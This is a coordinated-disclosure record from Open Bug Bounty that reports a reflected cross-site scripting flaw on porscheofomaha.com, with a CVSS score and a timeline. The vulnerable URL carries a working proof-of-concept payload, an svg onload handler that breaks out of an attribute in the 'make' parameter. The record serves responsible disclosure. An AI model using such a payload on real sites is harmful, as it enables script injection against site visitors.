Lucene search
Rashed_NaamaniOBB:450246HistoryDec 08, 2017 - 10:35 a.m.
porscheofomaha.com XSS vulnerability
2017-12-0810:35:00
Rashed_Naamani
www.openbugbounty.org
9
Open Bug Bounty ID: OBB-450246
| Description | Value |
|---|---|
| Affected Website: | porscheofomaha.com |
| Vulnerable Application: | Custom Code |
| Vulnerability Type: | XSS (Cross Site Scripting) / CWE-79 |
| CVSSv3 Score: | 6.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N] |
| Remediation Guide: | OWASP XSS Prevention Cheat Sheet |
Vulnerable URL:
https://porscheofomaha.com/inventory?condition=used&make;=%27%22%3E%3Csvg/onload=confirm(/OPENBUGBOUNTY/)%3E&model;=Macan
Coordinated Disclosure Timeline
| Description | Value |
|---|---|
| Vulnerability Reported: | 8 December, 2017 10:35 GMT |
| Vulnerability Verified: | 8 December, 2017 10:38 GMT |
| Website Operator Notified: | 8 December, 2017 10:38 GMT |
| Vulnerability Published: | 8 December, 2017 10:38 GMT[without any technical details] |
| Public Disclosure: | 8 March, 2018 10:35 GMT |